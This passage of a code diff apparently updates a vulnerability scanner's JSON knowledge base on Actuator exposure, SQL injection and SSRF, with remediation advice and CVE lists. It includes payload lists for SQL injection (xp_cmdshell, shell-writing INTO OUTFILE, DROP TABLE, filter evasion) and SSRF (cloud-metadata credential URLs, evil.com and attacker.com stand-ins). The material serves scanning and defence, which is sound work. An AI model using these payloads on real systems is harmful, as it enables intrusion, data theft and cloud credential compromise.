"/actuator/loggers", + "/actuator/threaddump", + "/actuator/jolokia", + "/env", + "/heapdump", + "/mappings", + "/beans", + "/trace" + ] + }, + "recommendation": "1. Expose only the necessary endpoints (`health`, `info`) and disable everything else:\n```yaml\nmanagement:\n endpoints:\n web:\n exposure:\n include: health,info\n base-path: /internal/actuator\n endpoint:\n env:\n show-values: never\n heapdump:\n enabled: false\n jolokia:\n enabled: false\n shutdown:\n enabled: false\n```\n2. Place the Actuator on a separate management port bound to localhost or the internal network, with authentication and mTLS.\n3. Protect all endpoints with Spring Security and administrative roles; never leave them publicly accessible.\n4. Do not expose `env`, `heapdump`, `jolokia`, `threaddump`, `mappings`, `beans`, or `httptrace` in production.\n5. Mask secrets (`show-values: never`) and use a Secret Manager instead of cleartext environment variables.\n6. Block `/actuator` paths at the reverse proxy or WAF as a defense-in-depth measure.\n7. Update Spring Boot and all dependencies; older versions contain known Actuator CVEs.\n8. Monitor access to `/actuator/*` and heap dump downloads; trigger immediate alerts.\n9. If exposure has occurred, rotate all secrets that may have been present in the heap or environment.", + "notableCves": [] }, - "recommendation": "1. Expose only the necessary endpoints (`health`, `info`) and disable everything else:\n```yaml\nmanagement:\n endpoints:\n web:\n exposure:\n include: health,info\n base-path: /internal/actuator\n endpoint:\n env:\n show-values: never\n heapdump:\n enabled: false\n jolokia:\n enabled: false\n shutdown:\n enabled: false\n```\n2. Place the Actuator on a separate management port bound to localhost or the internal network, with authentication and mTLS.\n3. Protect all endpoints with Spring Security and administrative roles; never leave them publicly accessible.\n4. Do not expose `env`, `heapdump`, `jolokia`, `threaddump`, `mappings`, `beans`, or `httptrace` in production.\n5. Mask secrets (`show-values: never`) and use a Secret Manager instead of cleartext environment variables.\n6. Block `/actuator` paths at the reverse proxy or WAF as a defense-in-depth measure.\n7. Update Spring Boot and all dependencies; older versions contain known Actuator CVEs.\n8. Monitor access to `/actuator/*` and heap dump downloads; trigger immediate alerts.\n9. If exposure has occurred, rotate all secrets that may have been present in the heap or environment.", - "notableCves": [] - }, - "sql_injection": { - "title": "SQL Injection", - "module": "SQLi", - "severity": "CRITICAL", - "cweId": "CWE-89", - "cweTitle": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - "vrtId": "injection.sql_injection", - "summary": "User input is concatenated into SQL queries, allowing an attacker to alter query logic, extract the entire database, modify data, and in some cases execute operating system commands.", - "description": "SQL injection occurs when user-controlled data is interpreted as SQL code. Variants include:\n\n- **In-band (classic):** Error messages, `UNION` queries, or boolean conditions reflect data directly in the response.\n- **Blind boolean-based:** True/false conditions alter the response body or HTTP status code.\n- **Blind time-based:** Functions like `SLEEP` or `WAITFOR DELAY` are used to infer data through response timing.\n- **Out-of-band:** Data exfiltration via DNS or HTTP callbacks (Oracle UTL_HTTP, MSSQL xp_dirtree, MySQL LOAD_FILE).\n- **Second-order:** A stored payload is executed later when a different query processes the stored value.\n- **Stacked queries:** Multiple statements executed in a single database call.\n\nThe vulnerability appears in filters, sorting, pagination, login forms, search features, reports, and APIs. ORMs do not automatically protect against injection when `createNativeQuery`, `Raw`, `whereRaw`, `$queryRawUnsafe`, or string concatenation is used.", - "impact": "- Full database dump: credentials, PII, payment card data, and session tokens.\n- Data modification, deletion, and fraud.\n- Authentication bypass and privilege escalation.\n- File read/write and RCE via `xp_cmdshell`, `COPY ... PROGRAM`, `LOAD_FILE`, or `INTO OUTFILE`.\n- Lateral movement to other internal systems.\n- Impact is CRITICAL.", - "payloads": [ - "-- Detecção", - "'", - "''", - "`", - "')", - "'))", - "' OR '1'='1", - "' OR 1=1-- -", - "' OR 1=1#", - "admin'--", - "admin' #", - "\" OR \"\"=\"", - "' AND '1'='2", - "-- UNION", - "' UNION SELECT NULL-- -", - "' UNION SELECT NULL,NULL-- -", - "' UNION SELECT 1,2,3-- -", - "' UNION SELECT username,password FROM users-- -", - "' UNION ALL SELECT NULL,@@version,user()-- -", - "-- Boolean", - "' AND 1=1-- -", - "' AND 1=2-- -", - "' AND SUBSTRING(@@version,1,1)='8'-- -", - "' AND (SELECT COUNT(*) FROM users)>0-- -", - "-- Time-based", - "' AND SLEEP(5)-- -", - "' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -", - "'; WAITFOR DELAY '0:0:5'-- -", - "'||pg_sleep(5)--", - "' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -", - "' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -", - "-- Error-based", - "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- -", - "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- -", - "' AND 1=CONVERT(int,@@version)-- -", - "' AND CAST((SELECT version()) AS int)-- -", - "-- Stacked / RCE (quando permitido)", - "'; DROP TABLE users-- -", - "'; EXEC xp_cmdshell 'whoami'-- -", - "'; COPY (SELECT '') TO PROGRAM 'id'-- -", - "' UNION SELECT LOAD_FILE('/etc/passwd')-- -", - "' UNION SELECT '' INTO OUTFILE '/var/www/shell.php'-- -", - "-- Comentários inline e fragmentação", - "' UN/**/ION SEL/**/ECT NULL-- -", - "'/*!50000UNION*/ /*!50000SELECT*/ NULL-- -", - "' UNION%0ASELECT NULL-- -", - "'%09UNION%09SELECT%09NULL-- -", - "' uNiOn SeLeCt NULL-- -", - "-- Encoding", - "%27%20OR%201=1-- -", - "%2527%2520OR%25201%253D1-- -", - "' OR 0x31=0x31-- -", - "CHAR(39)||CHAR(79)||CHAR(82)", - "-- Sem espaços", - "'OR'1'='1", - "'/**/OR/**/1=1-- -", - "'OR(1=1)-- -", - "-- Alternativas", - "' OR 'a'='a", - "' OR TRUE-- -", - "' AND 1 LIKE 1-- -", - "' UNION SELECT NULL FROM dual-- -" - ], - "crawlerHints": { - "parameters": [ - "id", - "q", - "search", - "query", - "category", - "sort", - "order", - "filter", - "username", - "password", - "email", - "page", - "limit", - "offset", - "report", - "date", - "status" - ], - "paths": [ - "/api/*", - "/login", - "/search", - "/products", - "/reports", - "/admin", - "/graphql", - "/export", - "/filter" - ] + "sql_injection": { + "title": "SQL Injection", + "module": "SQLi", + "severity": "CRITICAL", + "cweId": "CWE-89", + "cweTitle": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "vrtId": "injection.sql_injection", + "summary": "User input is concatenated into SQL queries, allowing an attacker to alter query logic, extract the entire database, modify data, and in some cases execute operating system commands.", + "description": "SQL injection occurs when user-controlled data is interpreted as SQL code. Variants include:\n\n- **In-band (classic):** Error messages, `UNION` queries, or boolean conditions reflect data directly in the response.\n- **Blind boolean-based:** True/false conditions alter the response body or HTTP status code.\n- **Blind time-based:** Functions like `SLEEP` or `WAITFOR DELAY` are used to infer data through response timing.\n- **Out-of-band:** Data exfiltration via DNS or HTTP callbacks (Oracle UTL_HTTP, MSSQL xp_dirtree, MySQL LOAD_FILE).\n- **Second-order:** A stored payload is executed later when a different query processes the stored value.\n- **Stacked queries:** Multiple statements executed in a single database call.\n\nThe vulnerability appears in filters, sorting, pagination, login forms, search features, reports, and APIs. ORMs do not automatically protect against injection when `createNativeQuery`, `Raw`, `whereRaw`, `$queryRawUnsafe`, or string concatenation is used.", + "impact": "- Full database dump: credentials, PII, payment card data, and session tokens.\n- Data modification, deletion, and fraud.\n- Authentication bypass and privilege escalation.\n- File read/write and RCE via `xp_cmdshell`, `COPY ... PROGRAM`, `LOAD_FILE`, or `INTO OUTFILE`.\n- Lateral movement to other internal systems.\n- Impact is CRITICAL.", + "payloads": [ + "-- Detecção", + "'", + "''", + "`", + "')", + "'))", + "' OR '1'='1", + "' OR 1=1-- -", + "' OR 1=1#", + "admin'--", + "admin' #", + "\" OR \"\"=\"", + "' AND '1'='2", + "-- UNION", + "' UNION SELECT NULL-- -", + "' UNION SELECT NULL,NULL-- -", + "' UNION SELECT 1,2,3-- -", + "' UNION SELECT username,password FROM users-- -", + "' UNION ALL SELECT NULL,@@version,user()-- -", + "-- Boolean", + "' AND 1=1-- -", + "' AND 1=2-- -", + "' AND SUBSTRING(@@version,1,1)='8'-- -", + "' AND (SELECT COUNT(*) FROM users)>0-- -", + "-- Time-based", + "' AND SLEEP(5)-- -", + "' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -", + "'; WAITFOR DELAY '0:0:5'-- -", + "'||pg_sleep(5)--", + "' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -", + "' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -", + "-- Error-based", + "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- -", + "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- -", + "' AND 1=CONVERT(int,@@version)-- -", + "' AND CAST((SELECT version()) AS int)-- -", + "-- Stacked / RCE (quando permitido)", + "'; DROP TABLE users-- -", + "'; EXEC xp_cmdshell 'whoami'-- -", + "'; COPY (SELECT '') TO PROGRAM 'id'-- -", + "' UNION SELECT LOAD_FILE('/etc/passwd')-- -", + "' UNION SELECT '' INTO OUTFILE '/var/www/shell.php'-- -", + "-- Comentários inline e fragmentação", + "' UN/**/ION SEL/**/ECT NULL-- -", + "'/*!50000UNION*/ /*!50000SELECT*/ NULL-- -", + "' UNION%0ASELECT NULL-- -", + "'%09UNION%09SELECT%09NULL-- -", + "' uNiOn SeLeCt NULL-- -", + "-- Encoding", + "%27%20OR%201=1-- -", + "%2527%2520OR%25201%253D1-- -", + "' OR 0x31=0x31-- -", + "CHAR(39)||CHAR(79)||CHAR(82)", + "-- Sem espaços", + "'OR'1'='1", + "'/**/OR/**/1=1-- -", + "'OR(1=1)-- -", + "-- Alternativas", + "' OR 'a'='a", + "' OR TRUE-- -", + "' AND 1 LIKE 1-- -", + "' UNION SELECT NULL FROM dual-- -" + ], + "crawlerHints": { + "parameters": [ + "id", + "q", + "search", + "query", + "category", + "sort", + "order", + "filter", + "username", + "password", + "email", + "page", + "limit", + "offset", + "report", + "date", + "status" + ], + "paths": [ + "/api/*", + "/login", + "/search", + "/products", + "/reports", + "/admin", + "/graphql", + "/export", + "/filter" + ] + }, + "recommendation": "1. Use parameterized queries / prepared statements for all database operations, including `IN` clauses, `ORDER BY`, `LIMIT`, and reporting queries.\n```java\nPreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE email = ?\");\nps.setString(1, email);\n```\n2. Never concatenate user input into SQL; avoid `createNativeQuery`, `whereRaw`, `$queryRawUnsafe`, `exec`, and ORM calls without parameter binding.\n3. For identifiers (column/table names), use a server-side allowlist of permitted values — identifiers cannot be parameterized.\n4. Apply least privilege to the database user; revoke `FILE`, `xp_cmdshell`, `COPY ... PROGRAM`, `LOAD_FILE`, and unnecessary DDL permissions.\n5. Use ORM with parameter binding and type validation; never disable escaping.\n6. Deploy a WAF as defense-in-depth, but not as the primary fix.\n7. Suppress database error details and never return stack traces to the client.\n8. Audit queries and alert on suspicious patterns (`UNION`, `SLEEP`, inline comments) and error rate spikes.\n9. Test with sqlmap in an authorized environment and add regression tests that attempt classic injection payloads.", + "notableCves": [ + { + "cve": "CVE-2023-34362", + "product": "MOVEit Transfer", + "year": 2023, + "description": "SQLi em endpoint de transferencia -- explorado em massa pelo grupo Cl0p, comprometeu centenas de organizacoes", + "type": "Blind SQLi (pre-auth)" + }, + { + "cve": "CVE-2023-48788", + "product": "Fortinet FortiClientEMS", + "year": 2023, + "description": "SQLi no servico de gerenciamento de endpoints -- permite execucao remota via DBA", + "type": "SQLi to RCE (pre-auth)" + }, + { + "cve": "CVE-2020-12271", + "product": "Sophos XG Firewall", + "year": 2020, + "description": "SQLi em SFOS explorado in-the-wild (Asnarok campaign) -- atacantes injetaram trojan via interface de gerenciamento", + "type": "In-band SQLi (pre-auth)" + }, + { + "cve": "CVE-2024-50330", + "product": "Ivanti Endpoint Manager", + "year": 2024, + "description": "SQLi remoto sem autenticacao no EPM -- permite comprometimento total do servidor de gerenciamento", + "type": "Unauth SQLi" + }, + { + "cve": "CVE-2024-1597", + "product": "PostgreSQL JDBC (pgjdbc)", + "year": 2024, + "description": "SQLi no driver JDBC quando PreferQueryMode=SIMPLE -- afeta qualquer app Java usando pgjdbc com essa config", + "type": "Driver-level SQLi" + }, + { + "cve": "CVE-2023-34991", + "product": "Fortinet FortiWLM", + "year": 2023, + "description": "SQLi no gerenciador wireless -- permite acesso nao autenticado a dados da rede", + "type": "Unauth SQLi" + }, + { + "cve": "CVE-2024-45387", + "product": "Apache Traffic Control", + "year": 2024, + "description": "SQLi no Traffic Ops -- usuario privilegiado executa queries arbitrarias (CVSS 9.9)", + "type": "Auth SQLi" + }, + { + "cve": "CVE-2023-0016", + "product": "SAP BPC MS 10.0", + "year": 2023, + "description": "SQLi no Business Planning and Consolidation -- execucao de queries arbitrarias por atacante nao autenticado", + "type": "Unauth SQLi" + }, + { + "cve": "CVE-2023-0620", + "product": "HashiCorp Vault", + "year": 2023, + "description": "SQLi no backend de storage MSSQL do Vault -- permite manipulacao de secrets armazenados", + "type": "Config-dependent SQLi" + }, + { + "cve": "CVE-2024-27304", + "product": "pgx (Go PostgreSQL driver)", + "year": 2024, + "description": "SQLi no driver pgx para Go -- single query ou bind message permite injecao (CVSS 9.8)", + "type": "Driver-level SQLi" + }, + { + "cve": "CVE-2024-8275", + "product": "The Events Calendar (WordPress)", + "year": 2024, + "description": "SQLi via parametro 'order' -- plugin com 800k+ instalacoes ativas", + "type": "Unauth SQLi" + }, + { + "cve": "CVE-2024-12727", + "product": "Sophos Firewall", + "year": 2024, + "description": "SQLi pre-auth no email protection feature -- permite code execution remoto", + "type": "SQLi to RCE (pre-auth)" + } + ] }, - "recommendation": "1. Use parameterized queries / prepared statements for all database operations, including `IN` clauses, `ORDER BY`, `LIMIT`, and reporting queries.\n```java\nPreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE email = ?\");\nps.setString(1, email);\n```\n2. Never concatenate user input into SQL; avoid `createNativeQuery`, `whereRaw`, `$queryRawUnsafe`, `exec`, and ORM calls without parameter binding.\n3. For identifiers (column/table names), use a server-side allowlist of permitted values — identifiers cannot be parameterized.\n4. Apply least privilege to the database user; revoke `FILE`, `xp_cmdshell`, `COPY ... PROGRAM`, `LOAD_FILE`, and unnecessary DDL permissions.\n5. Use ORM with parameter binding and type validation; never disable escaping.\n6. Deploy a WAF as defense-in-depth, but not as the primary fix.\n7. Suppress database error details and never return stack traces to the client.\n8. Audit queries and alert on suspicious patterns (`UNION`, `SLEEP`, inline comments) and error rate spikes.\n9. Test with sqlmap in an authorized environment and add regression tests that attempt classic injection payloads.", - "notableCves": [ - { - "cve": "CVE-2023-34362", - "product": "MOVEit Transfer", - "year": 2023, - "description": "SQLi em endpoint de transferencia -- explorado em massa pelo grupo Cl0p, comprometeu centenas de organizacoes", - "type": "Blind SQLi (pre-auth)" - }, - { - "cve": "CVE-2023-48788", - "product": "Fortinet FortiClientEMS", - "year": 2023, - "description": "SQLi no servico de gerenciamento de endpoints -- permite execucao remota via DBA", - "type": "SQLi to RCE (pre-auth)" - }, - { - "cve": "CVE-2020-12271", - "product": "Sophos XG Firewall", - "year": 2020, - "description": "SQLi em SFOS explorado in-the-wild (Asnarok campaign) -- atacantes injetaram trojan via interface de gerenciamento", - "type": "In-band SQLi (pre-auth)" - }, - { - "cve": "CVE-2024-50330", - "product": "Ivanti Endpoint Manager", - "year": 2024, - "description": "SQLi remoto sem autenticacao no EPM -- permite comprometimento total do servidor de gerenciamento", - "type": "Unauth SQLi" - }, - { - "cve": "CVE-2024-1597", - "product": "PostgreSQL JDBC (pgjdbc)", - "year": 2024, - "description": "SQLi no driver JDBC quando PreferQueryMode=SIMPLE -- afeta qualquer app Java usando pgjdbc com essa config", - "type": "Driver-level SQLi" - }, - { - "cve": "CVE-2023-34991", - "product": "Fortinet FortiWLM", - "year": 2023, - "description": "SQLi no gerenciador wireless -- permite acesso nao autenticado a dados da rede", - "type": "Unauth SQLi" - }, - { - "cve": "CVE-2024-45387", - "product": "Apache Traffic Control", - "year": 2024, - "description": "SQLi no Traffic Ops -- usuario privilegiado executa queries arbitrarias (CVSS 9.9)", - "type": "Auth SQLi" - }, - { - "cve": "CVE-2023-0016", - "product": "SAP BPC MS 10.0", - "year": 2023, - "description": "SQLi no Business Planning and Consolidation -- execucao de queries arbitrarias por atacante nao autenticado", - "type": "Unauth SQLi" - }, - { - "cve": "CVE-2023-0620", - "product": "HashiCorp Vault", - "year": 2023, - "description": "SQLi no backend de storage MSSQL do Vault -- permite manipulacao de secrets armazenados", - "type": "Config-dependent SQLi" - }, - { - "cve": "CVE-2024-27304", - "product": "pgx (Go PostgreSQL driver)", - "year": 2024, - "description": "SQLi no driver pgx para Go -- single query ou bind message permite injecao (CVSS 9.8)", - "type": "Driver-level SQLi" - }, - { - "cve": "CVE-2024-8275", - "product": "The Events Calendar (WordPress)", - "year": 2024, - "description": "SQLi via parametro 'order' -- plugin com 800k+ instalacoes ativas", - "type": "Unauth SQLi" - }, - { - "cve": "CVE-2024-12727", - "product": "Sophos Firewall", - "year": 2024, - "description": "SQLi pre-auth no email protection feature -- permite code execution remoto", - "type": "SQLi to RCE (pre-auth)" - } - ] - }, - "ssrf": { - "title": "Server-Side Request Forgery", - "module": "SSRF", - "severity": "CRITICAL", - "cweId": "CWE-918", - "cweTitle": "Server-Side Request Forgery (SSRF)", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", - "vrtId": "server_security_misconfiguration.server_side_request_forgery", - "summary": "The application fetches a user-controlled URL, allowing an attacker to reach internal services, cloud metadata endpoints, local files, and restricted networks from the server. SSRF is one of the highest-impact vulnerabilities in cloud environments.", - "description": "Server-Side Request Forgery occurs when the server makes HTTP or DNS requests based on user input without validating the destination host, scheme, or resolved IP address. The attacker uses the server as a proxy to reach:\n\n- `localhost` and internal administrative services (Redis, Elasticsearch, Docker API, Spring Actuator).\n- Cloud metadata endpoints (`169.254.169.254`, `metadata.google.internal`, `100.100.100.200`).\n- Private networks (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, `::1`, `fc00::/7`).\n- Local files via `file://`, protocol wrappers, and alternative schemes.\n- Internal services without authentication that allow RCE (Redis SLAVEOF, Docker API, memcached).\n\nEven blind SSRF (no reflected response) can be confirmed via DNS/HTTP out-of-band callbacks, timing differences, or state changes. In cloud environments, combining SSRF with IMDSv1 can lead to IAM credential theft and full account compromise.", - "impact": "- Cloud credential theft (AWS/GCP/Azure) and access to storage buckets, databases, and internal services.\n- Access and modification of internal data, firewall bypass, and network segmentation breach.\n- RCE via internal services (Redis, Docker, Jenkins, Actuator, Consul).\n- Local file read and configuration secret exfiltration.\n- Lateral movement and escalation to full environment compromise.\n- Impact is CRITICAL; blind SSRF is also critical when it reaches metadata endpoints.", - "payloads": [ - "# Localhost e loopback", - "http://127.0.0.1", - "http://127.0.0.1:80", - "http://localhost", - "http://localhost:8080", - "http://[::1]", - "http://[::ffff:127.0.0.1]", - "http://127.1", - "http://0.0.0.0", - "# Representações alternativas de IP", - "http://2130706433 # decimal", - "http://0177.0.0.1 # octal", - "http://0x7f000001 # hex", - "http://0x7f.0x0.0x0.0x1", - "http://127.0.0.1.nip.io", - "http://127.0.0.1.sslip.io", - "http://localtest.me", - "# Metadata cloud", - "http://169.254.169.254/latest/meta-data/", - "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - "http://169.254.169.254/latest/user-data/", - "http://metadata.google.internal/computeMetadata/v1/", - "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", - "http://100.100.100.200/latest/meta-data/", - "http://169.254.169.254/metadata/instance?api-version=2021-02-01", - "# Protocolos e wrappers", - "file:///etc/passwd", - "file:///proc/self/environ", - "gopher://127.0.0.1:6379/_INFO", - "dict://127.0.0.1:11211/stat", - "ftp://127.0.0.1/", - "ldap://127.0.0.1/", - "# Userinfo / authority confusion", - "http://evil.com@127.0.0.1", - "http://127.0.0.1#@evil.com", - "http://127.0.0.1?@evil.com", - "http://alvo.com@169.254.169.254/", - "# Redirecionamento aberto como relay", - "http://alvo.com/redirect?url=http://169.254.169.254/", - "# Seguir redirects no servidor para burlar allowlist inicial", - "# DNS rebinding", - "http://rebind.attacker.com # resolve para IP público na validação e 127.0.0.1 no fetch", - "# Encoding", - "http://127.0.0.1%2f@evil.com", - "http://%31%32%37.0.0.1", - "http://127.0.0.1%00.evil.com", - "# IPv6/IPv4 mapeado", - "http://[::ffff:7f00:1]", - "http://[0:0:0:0:0:ffff:127.0.0.1]", - "# Encurtadores e CDN", - "https://bit.ly/xxx", - "https://storage.googleapis.com/... # redirect para metadata", - "curl \"https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\"" - ], - "crawlerHints": { - "parameters": [ - "url", - "uri", - "link", - "src", - "source", - "dest", - "destination", - "redirect", - "proxy", - "fetch", - "image", - "imageUrl", - "avatar", - "avatarUrl", - "callback", - "webhook", - "feed", - "host", - "port", - "path", - "file", - "load", - "import", - "site", - "html", - "u", - "rurl", - "preview", - "screenshot", - "pdf", - "export" - ], - "paths": [ - "/api/fetch", - "/api/proxy", - "/api/image", - "/upload", - "/avatar", - "/webhook", - "/import", - "/preview", - "/screenshot", - "/render", - "/pdf", - "/integrations", - "/graphql" - ] + "ssrf": { + "title": "Server-Side Request Forgery", + "module": "SSRF", + "severity": "CRITICAL", + "cweId": "CWE-918", + "cweTitle": "Server-Side Request Forgery (SSRF)", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", + "vrtId": "server_security_misconfiguration.server_side_request_forgery", + "summary": "The application fetches a user-controlled URL, allowing an attacker to reach internal services, cloud metadata endpoints, local files, and restricted networks from the server. SSRF is one of the highest-impact vulnerabilities in cloud environments.", + "description": "Server-Side Request Forgery occurs when the server makes HTTP or DNS requests based on user input without validating the destination host, scheme, or resolved IP address. The attacker uses the server as a proxy to reach:\n\n- `localhost` and internal administrative services (Redis, Elasticsearch, Docker API, Spring Actuator).\n- Cloud metadata endpoints (`169.254.169.254`, `metadata.google.internal`, `100.100.100.200`).\n- Private networks (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, `::1`, `fc00::/7`).\n- Local files via `file://`, protocol wrappers, and alternative schemes.\n- Internal services without authentication that allow RCE (Redis SLAVEOF, Docker API, memcached).\n\nEven blind SSRF (no reflected response) can be confirmed via DNS/HTTP out-of-band callbacks, timing differences, or state changes. In cloud environments, combining SSRF with IMDSv1 can lead to IAM credential theft and full account compromise.", + "impact": "- Cloud credential theft (AWS/GCP/Azure) and access to storage buckets, databases, and internal services.\n- Access and modification of internal data, firewall bypass, and network segmentation breach.\n- RCE via internal services (Redis, Docker, Jenkins, Actuator, Consul).\n- Local file read and configuration secret exfiltration.\n- Lateral movement and escalation to full environment compromise.\n- Impact is CRITICAL; blind SSRF is also critical when it reaches metadata endpoints.", + "payloads": [ + "# Localhost e loopback", + "http://127.0.0.1", + "http://127.0.0.1:80", + "http://localhost", + "http://localhost:8080", + "http://[::1]", + "http://[::ffff:127.0.0.1]", + "http://127.1", + "http://0.0.0.0", + "# Representações alternativas de IP", + "http://2130706433 # decimal", + "http://0177.0.0.1 # octal", + "http://0x7f000001 # hex", + "http://0x7f.0x0.0x0.0x1", + "http://127.0.0.1.nip.io", + "http://127.0.0.1.sslip.io", + "http://localtest.me", + "# Metadata cloud", + "http://169.254.169.254/latest/meta-data/", + "http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "http://169.254.169.254/latest/user-data/", + "http://metadata.google.internal/computeMetadata/v1/", + "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", + "http://100.100.100.200/latest/meta-data/", + "http://169.254.169.254/metadata/instance?api-version=2021-02-01", + "# Protocolos e wrappers", + "file:///etc/passwd", + "file:///proc/self/environ", + "gopher://127.0.0.1:6379/_INFO", + "dict://127.0.0.1:11211/stat", + "ftp://127.0.0.1/", + "ldap://127.0.0.1/", + "# Userinfo / authority confusion", + "http://evil.com@127.0.0.1", + "http://127.0.0.1#@evil.com", + "http://127.0.0.1?@evil.com", + "http://alvo.com@169.254.169.254/", + "# Redirecionamento aberto como relay", + "http://alvo.com/redirect?url=http://169.254.169.254/", + "# Seguir redirects no servidor para burlar allowlist inicial", + "# DNS rebinding", + "http://rebind.attacker.com # resolve para IP público na validação e 127.0.0.1 no fetch", + "# Encoding", + "http://127.0.0.1%2f@evil.com", + "http://%31%32%37.0.0.1", + "http://127.0.0.1%00.evil.com", + "# IPv6/IPv4 mapeado", + "http://[::ffff:7f00:1]", + "http://[0:0:0:0:0:ffff:127.0.0.1]", + "# Encurtadores e CDN", + "https://bit.ly/xxx", + "https://storage.googleapis.com/... # redirect para metadata", + "curl \"https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\"" + ], + "crawlerHints": { + "parameters": [ + "url", + "uri", + "link", + "src", + "source", + "dest", + "destination", + "redirect", + "proxy", + "fetch", + "image", + "imageUrl", + "avatar", + "avatarUrl", + "callback", + "webhook", + "feed", + "host", + "port", + "path", + "file", + "load", + "import", + "site", + "html", + "u", + "rurl", + "preview", + "screenshot", + "pdf", + "export" + ], + "paths": [ + "/api/fetch", + "/api/proxy", + "/api/image", + "/upload", + "/avatar", + "/webhook", + "/import", + "/preview", + "/screenshot", + "/render", + "/pdf", + "/integrations", + "/graphql" + ] + }, + "recommendation": "1. Use a strict allowlist of permitted hosts, ports, and schemes; never accept arbitrary URLs.\n2. Resolve DNS on the server, validate all returned IP addresses, and block private ranges, loopback, link-local, multicast, and metadata addresses. Re-validate after every redirect.\n3. Disable automatic redirects or restrict them to the same origin/allowlist; validate each hop.\n4. Pin the resolved IP (DNS pinning) and use the validated IP for the actual connection to prevent DNS rebinding.\n5. Block non-HTTP(S) schemes (`file`, `gopher`, `dict`, `ftp`, `ldap`, `jar`) and unnecessary ports.\n6. In cloud environments, enforce IMDSv2 (token required), restrict hop limit, and apply least privilege to IAM roles.\n7. Segment the network: the service performing fetches should not be able to reach the control plane, databases, or metadata endpoints.\n8. Use an egress proxy with allowlist, authentication, and logging; inspect responses and enforce size/timeout limits.\n9. Java example:\n```java\nprivate static final Set ALLOWED_HOSTS = Set.of(\"images.alvo.com\", \"cdn.alvo.com\");\n\nURI uri = URI.create(userUrl);\nif (!\"https\".equalsIgnoreCase(uri.getScheme())) throw new IllegalArgumentException();\nif (!ALLOWED_HOSTS.contains(uri.getHost())) throw new IllegalArgumentException();\nInetAddress[] addrs = InetAddress.getAllByName(uri.getHost());\nfor (InetAddress a : addrs) {\n if (a.isLoopbackAddress() || a.isSiteLocalAddress() || a.isLinkLocalAddress()\n || a.isAnyLocalAddress() || a.isMulticastAddress()) {\n throw new IllegalArgumentException();\n }\n}\nHttpClient.newBuilder().followRedirects(HttpClient.Redirect.NEVER).build();\n```\n10. Monitor outbound requests targeting metadata endpoints and private IP ranges; alert on attempts.", + "notableCves": [ + { + "cve": "CVE-2021-26855", + "product": "Microsoft Exchange Server", + "year": 2021, + "description": "ProxyLogon -- SSRF pre-auth via endpoint /owa/auth/x.js permite acessar mailboxes arbitrarias e pivotar para RCE", + "type": "Pre-auth SSRF" + }, + { + "cve": "CVE-2021-21975", + "product": "VMware vRealize Operations", + "year": 2021, + "description": "SSRF na API permite ator com acesso de rede ler dados internos sem autenticacao", + "type": "Pre-auth SSRF" + }, + { + "cve": "CVE-2021-21973", + "product": "VMware vCenter Server", + "year": 2021, + "description": "SSRF via validacao impr. de URLs em plugin do vSphere Client (porta 443) -- permite scan de rede interna", + "type": "Pre-auth SSRF" + }, + { + "cve": "CVE-2021-40438", + "product": "Apache HTTP Server (mod_proxy)", + "year": 2021, + "description": "URI crafted faz mod_proxy encaminhar request para origin server escolhido pelo atacante -- afeta <= 2.4.48", + "type": "Proxy SSRF" + }, + { + "cve": "CVE-2022-22947", + "product": "Spring Cloud Gateway", + "year": 2022, + "description": "Code injection via Gateway Actuator endpoint exposto permite RCE e SSRF em versoes < 3.1.1+ e < 3.0.7+", + "type": "Actuator SSRF" + }, + { + "cve": "CVE-2022-41040", + "product": "Microsoft Exchange Server", + "year": 2022, + "description": "ProxyNotShell -- SSRF autenticada combinada com CVE-2022-41082 para RCE; bypass do patch do ProxyLogon", + "type": "Auth SSRF + RCE" + }, + { + "cve": "CVE-2024-21893", + "product": "Ivanti Connect Secure / Policy Secure", + "year": 2024, + "description": "SSRF no componente SAML permite acessar recursos restritos sem autenticacao", + "type": "SAML SSRF" + }, + { + "cve": "CVE-2020-13379", + "product": "Grafana 3.0.1 -- 7.0.1", + "year": 2020, + "description": "SSRF na feature de avatar permite qualquer usuario nao autenticado forcar Grafana a enviar HTTP requests para URLs arbitrarias", + "type": "Avatar SSRF" + }, + { + "cve": "CVE-2020-26258", + "product": "XStream < 1.4.15", + "year": 2020, + "description": "SSRF ativada durante unmarshalling de XML -- permite leitura de recursos internos via desserializacao", + "type": "Deserialization SSRF" + }, + { + "cve": "CVE-2020-28168", + "product": "Axios NPM 0.21.0", + "year": 2020, + "description": "Bypass de proxy via URL que responde com redirect para host restrito -- permite SSRF client-side", + "type": "Redirect SSRF" + } + ] }, - "recommendation": "1. Use a strict allowlist of permitted hosts, ports, and schemes; never accept arbitrary URLs.\n2. Resolve DNS on the server, validate all returned IP addresses, and block private ranges, loopback, link-local, multicast, and metadata addresses. Re-validate after every redirect.\n3. Disable automatic redirects or restrict them to the same origin/allowlist; validate each hop.\n4. Pin the resolved IP (DNS pinning) and use the validated IP for the actual connection to prevent DNS 